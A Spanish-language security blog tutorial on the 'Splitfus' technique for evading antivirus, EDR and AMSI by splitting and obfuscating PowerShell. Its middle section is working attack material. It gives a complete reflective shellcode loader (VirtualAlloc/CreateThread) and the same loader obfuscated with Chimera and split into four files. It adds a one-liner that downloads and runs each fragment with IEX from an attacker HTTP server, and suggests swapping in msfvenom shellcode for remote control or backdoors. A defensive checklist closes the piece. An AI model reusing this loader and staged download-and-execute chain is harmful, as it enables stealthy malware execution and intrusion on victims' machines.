Portada de la guía sobre PowerShell Bypass y la técnica Splitfus, con código de fondo.
Splitfus combina la fragmentación y ofuscación de código para lograr un bypass de PowerShell efectivo contra AV y EDR.

Guía Práctica de PowerShell Bypass con la Técnica Splitfus

Actualmente, los sistemas de defensa como los Antivirus (AV) y las soluciones de Detección y Respuesta en Endpoints (EDR) son cada vez más robustos. Sin embargo, los grupos de atacantes innovan continuamente con técnicas sofisticadas para eludir estas capas de protección.

Una de las PowerShell evasion techniques más comunes es Splitfus, un método clave para lograr un PowerShell bypass efectivo, catalogado bajo tácticas como T1059.001 en el framework MITRE ATT&CK. Este método consiste en dividir el código malicioso de PowerShell y ofuscarlo para, posteriormente, ejecutar cada fragmento en múltiples etapas (entrega por etapas). A continuación, se analiza por qué esta técnica es tan efectiva.

¿Qué es Splitfus?

Splitfus (Split + Obfuscation) es una técnica de ciberataque utilizada para ejecutar un PowerShell bypass, dividiendo un script malicioso en fragmentos ofuscados. Estos se ejecutan por etapas y en memoria, dificultando la detección por parte de antivirus y soluciones EDR, siendo una forma de malware sin archivos (fileless malware).

Splitfus (abreviatura de Split + Obfuscation) es una técnica que los atacantes emplean para:

  • Dividir (split) un script malicioso de PowerShell en múltiples fragmentos, por ejemplo: malware1.ps1, malware2.ps1, malware3.ps1, etc.
  • Ofuscar (obfuscate) cada fragmento de código para evitar su análisis o detección por parte de las firmas de los antivirus. Profundizar en las diferentes técnicas de ofuscación de código es fundamental para entender su efectividad.
  • Ejecución por etapas (staged execution): Durante el ataque, el sistema de la víctima descarga cada fragmento de código desde el servidor del atacante y lo ejecuta directamente en memoria, en lugar de almacenar el payload completo en el disco. Este tipo de ejecución se conoce comúnmente como ataque multi-etapa o fileless malware powershell, una amenaza creciente en la que PowerShell es un vector clave para ataques sin fichero.

¿Por qué Splitfus es eficaz para eludir los antivirus?

  • Reduce la probabilidad de detección basada en firmas (signature-based detection)
    Los antivirus tradicionales dependen de firmas o patrones de código malicioso conocido. Al dividir y ofuscar el código, ningún fragmento individual contiene el payload completo, lo que dificulta significativamente su detección, siendo una de las técnicas de bypass de antivirus más efectivas.
  • Evita el análisis estático y el sandbox
    Si el payload completo se encuentra en un único archivo, es fácil para un AV analizarlo antes de su ejecución. Con Splitfus, el powershell bypass se logra porque el código malicioso se carga dinámicamente (on-demand) desde el servidor del atacante, por lo que un entorno de sandbox difícilmente puede replicar el proceso de ataque completo.
  • Elude la Interfaz de Examen Antimalware (AMSI)
    La interfaz AMSI de Windows es capaz de escanear el contenido de PowerShell antes de su ejecución. Sin embargo, con Splitfus:
    • Los fragmentos de código son pequeños, están ofuscados y se cargan dinámicamente, lo que dificulta un análisis completo por parte de AMSI.
    • Muchos atacantes combinan la evasión de AMSI con Splitfus para aumentar la efectividad del ataque, como se detalla en investigaciones recientes sobre bypass de AMSI.
  • Flexibilidad y facilidad de actualización
    Los atacantes pueden modificar cualquier fragmento en su servidor sin necesidad de redistribuir el payload completo. Esto complica las tareas de rastreo y el desarrollo de nuevas firmas para los antivirus.

Tras la teoría, se presentará un ejemplo práctico para ilustrar cómo se implementa esta técnica.

Implementando un PowerShell Bypass: Ejemplo Práctico

Numerosas campañas de ataque de Amenazas Persistentes Avanzadas (APT) y frameworks de malware como Cobalt Strike, PowerShell Empire y Metasploit han adoptado mecanismos similares a Splitfus para la distribución de payloads por etapas. Esta es una tendencia predominante en los ataques sin archivos actuales.

Ahora, intenta ejecutar el siguiente fragmento de código PowerShell: Write-Host "Invoke-Mimikatz". Como puedes observar, el antivirus ha detectado y bloqueado este script. ¿Por qué se bloquea un código que solo imprime una cadena de texto en la terminal? Porque contiene la cadena de caracteres “Invoke-Mimikatz”. Esta es una firma (signature) extremadamente conocida y característica de la herramienta de ataque Mimikatz.

Antivirus bloqueando un script de PowerShell con la firma Mimikatz
Detección basada en firmas: el antivirus bloquea el script al identificar la cadena ‘Invoke-Mimikatz’

Por lo tanto, los AV están configurados para bloquear inmediatamente cualquier fragmento de código que contenga esta firma peligrosa, incluso en la fase más temprana, con el fin de prevenir cualquier intento potencial relacionado con Mimikatz. Se trata de una medida de mitigación de riesgos.

Ahora que sabemos cómo están configurados los AV, vamos a intentar dividir la cadena “Invoke-Mimikatz” en múltiples fragmentos más cortos.

Ejemplo de PowerShell bypass utilizando la técnica Splitfus para dividir una firma maliciosa
La misma cadena, dividida en fragmentos, pasa desapercibida por el sistema de detección

Como puedes ver, aunque la cadena se divida en partes más pequeñas como “Invo”, “ke”, “-Mim”, “ikatz”, el AV no detecta el código como malicioso. Posteriormente, al concatenar estas cadenas durante la ejecución, el resultado sigue siendo “Invoke-Mimikatz”, pero habiendo eludido el sistema de detección del AV. Este es el ejemplo más simple de la técnica Splitfus.

Ahora examinaremos un ejemplo de explotación más realista con el siguiente código de PowerShell, contenido en un archivo llamado sc-original.ps1:

[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
$handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName));
[IntPtr] $result = 0;
try {
Write-Host "First Invoke - $moduleName $functionName";
$result = $tmp[0].Invoke($null, @($handle, $functionName));
}catch {
Write-Host "Second Invoke - $moduleName $functionName";
$handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle);
$result = $tmp[0].Invoke($null, @($handle, $functionName));
}
return $result;
}
function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

Este es un script de PowerShell que ejecuta el Shellcode de calc.exe en Windows. Si ejecutamos este script completo, será bloqueado por el AV. En este punto, se aplicará la técnica Splitfus. Primero, se utilizará la herramienta Chimera para ofuscar el script y dificultar su lectura con el siguiente comando:

./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1
Ofuscación de PowerShell con la herramienta Chimera para lograr un bypass
Uso de la herramienta Chimera para aplicar una capa de ofuscación de PowerShell al script original.

Ahora, el script de PowerShell original ha sido ofuscado mediante la modificación de sus variables. A continuación, este archivo se dividirá en múltiples partes más pequeñas para ejecutarlas de forma fragmentada, impidiendo que el sistema de seguridad detecte la firma característica del shellcode.

El archivo sc-obf.ps1 se divide en 4 archivos separados: sc1.ps1 (contiene la variable que almacena el Shellcode), sc2.ps1 (contiene la función LookupFunc ofuscada), sc3.ps1 (contiene la función getDelegateType ofuscada) y sc4.ps1 (contiene las 3 últimas líneas de código). Si se escanea por separado, ninguna de estas partes activará una alerta del AV. Este es el código ofuscado y dividido en archivos individuales:

#sc1.ps1
[Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)

#sc2.ps1
function iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs {
Param ($JzGCXcYJmJdQKoCerSqNXT, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)
$FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$jWwCsHjXRPShPEyyEBpzOw = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
$aFUfleAnufbxjgylCpxMoZnlpUkts = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethod('GetModuleHandle').Invoke($null, @($JzGCXcYJmJdQKoCerSqNXT));
[IntPtr] $XHcKpPqwXEaSejzfchayBW = 0;
try {
Write-Host "First Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp";
$XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp));
}catch {
Write-Host "Second Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp";
$aFUfleAnufbxjgylCpxMoZnlpUkts = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $aFUfleAnufbxjgylCpxMoZnlpUkts);
$XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp));
}
return $XHcKpPqwXEaSejzfchayBW;
}


#sc3.ps1
function DdKSsQGFmFfVhpHEtVzHaZFCWQGs {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $GVUAdTXmnEpoFzPorhRfka,[Parameter(Position = 1)] [Type] $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB = [Void])
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed')
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed')
return $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.CreateType()
}


#sc4.ps1
$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll VirtualAlloc),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe, 0, $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll CreateThread),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH,[IntPtr]::Zero,0,[IntPtr]::Zero)

Los pasos para ejecutar esta técnica son simples. Primero, se utiliza el siguiente comando para iniciar un servidor Python en el puerto 80 con la dirección IP 192.168.1.17:

python3 -m http.server 80

Este servidor alojará los archivos de script de PowerShell divididos y ofuscados, permitiendo que la máquina víctima los descargue por separado.

Finalmente, se crea un comando de ejecución conciso para ejecutarlo en la máquina víctima:

1..4 | ForEach-Object { IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") }

Este comando descargará y ejecutará secuencialmente cada script, desde sc1.ps1 hasta sc4.ps1. Este es un método efectivo para eludir los mecanismos de detección de malware, ya que cada fragmento por separado parece inofensivo. Al combinarse, constituyen un ataque completo que muchas soluciones de seguridad no pueden detectar.

Con Metasploit, la creación de shellcode se simplifica considerablemente. Se puede utilizar el comando msfvenom para generar un nuevo shellcode y luego reemplazarlo en el script sc1.ps1. Esto permite personalizar el ataque de diversas maneras, desde obtener control remoto de la máquina víctima hasta robar información o instalar un backdoor.

A continuación, una demostración en video de la ejecución muestra el proceso completo.

Estos son ejemplos simples; en la práctica, el malware de PowerShell es mucho más complejo. Los atacantes suelen combinar estas técnicas con la evasión de AMSI para aumentar la tasa de éxito.

Cómo Defenderse de la Técnica Splitfus y la Ofuscación de PowerShell

La técnica Splitfus es uno de los métodos de ataque con PowerShell más sofisticados y difíciles de detectar si el sistema no se monitorea de cerca. Para una defensa efectiva, el equipo de seguridad de la información debe implementar una serie de medidas proactivas sincronizadas, desde la monitorización del comportamiento hasta la construcción de un sistema de alerta temprana y la formación del usuario final.

  • Monitorización avanzada de PowerShell.
  • Protección activa de la interfaz AMSI.
  • Análisis de comportamiento de carga dinámica.
  • Controles de red y C2 estrictos.
  • Formación continua del usuario final.
  1. Fortalecer la monitorización de PowerShell

PowerShell es una herramienta frecuentemente abusada en ataques modernos. Para rastrear actividades anómalas, el sistema debe habilitar el Registro de Bloques de Script (utilizando el ID de evento 4104) junto con el Registro de Módulos, siguiendo las mejores prácticas de seguridad de Microsoft. Estas configuraciones ayudan a registrar todos los comandos de PowerShell ejecutados, incluso si han sido ofuscados. Además, se recomienda activar el Modo de Lenguaje Restringido (Constrained Language Mode) para limitar el uso de comandos peligrosos, una medida que complementa la gestión de la política de ejecución de PowerShell.

  1. Activar y proteger AMSI (Antimalware Scan Interface)

AMSI es una capa de defensa crucial que ayuda a analizar el código antes de que se ejecute en PowerShell. Es esencial garantizar que AMSI esté siempre activado y no sea eludido (bypass). Cuando se integra con Microsoft Defender u otras soluciones EDR compatibles, la capacidad para detectar código malicioso ofuscado mejora significativamente.

  1. Inspeccionar el comportamiento de carga dinámica en el sistema

Una característica común de Splitfus es el uso de parámetros peligrosos en PowerShell como EncodedCommand o llamadas a la función IEX para cargar código remoto a través de cadenas como (New-Object Net.WebClient).DownloadString. Las soluciones EDR o HIDS deben configurarse para identificar estos comportamientos y alertar sobre intentos de evasion edr powershell. Asimismo, se debe alertar sobre scripts descargados de dominios no confiables, especialmente peticiones HTTP GET que contienen archivos con extensión .ps1.

  1. Establecer controles de acceso a la red estrictos

El control de acceso a la red es fundamental para impedir que Splitfus se comunique con su servidor de Mando y Control (C2). Es necesario bloquear proactivamente las conexiones salientes a direcciones IP o dominios sospechosos. La configuración de un proxy junto con la inspección TLS (TLS inspection) ayudará a detectar la carga de código malicioso en conexiones cifradas. Además, la actualización continua de Indicadores de Compromiso (IOC) desde fuentes de inteligencia de amenazas mejorará la capacidad de detección y respuesta.

  1. Formación del usuario final

Finalmente, el factor humano es a menudo el eslabón más débil en la cadena de defensa. Es imperativo llevar a cabo campañas de concienciación y formación para los usuarios finales. Los empleados deben ser instruidos para no ejecutar scripts de fuentes desconocidas. Al mismo tiempo, se debe reforzar la habilidad para reconocer correos de phishing, ya que suelen ser el punto de partida de los ataques Splitfus.

Preguntas Frecuentes

¿Qué es Splitfus y por qué es eficaz para eludir los antivirus?

Splitfus es una técnica en la que un atacante divide el código malicioso de PowerShell, lo ofusca y ejecuta cada parte por separado. Esto reduce la probabilidad de ser detectado por firmas, evita el análisis estático y los sandboxes, y puede eludir la Interfaz de Examen Antimalware (AMSI).

¿Cómo funciona la técnica Splitfus en la práctica?

Un atacante divide el código malicioso en múltiples fragmentos pequeños, los ofusca y los carga uno por uno en la máquina de la víctima para su ejecución. Esto hace que el malware sea más difícil de detectar en comparación con la descarga y ejecución de un único archivo malicioso de gran tamaño.

¿Qué herramientas soportan la implementación de la técnica Splitfus?

Numerosas campañas de ataque APT y frameworks de malware como Cobalt Strike, PowerShell Empire y Metasploit utilizan técnicas análogas a Splitfus. Además, herramientas como Chimera pueden ayudar a ofuscar el código fuente de PowerShell, facilitando el uso de esta técnica.

🤞 ¡El Gran Hermano te vigila, pero sabemos cómo detenerlo!

¡No enviamos spam! Lee nuestra Política de Privacidad para más información.

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda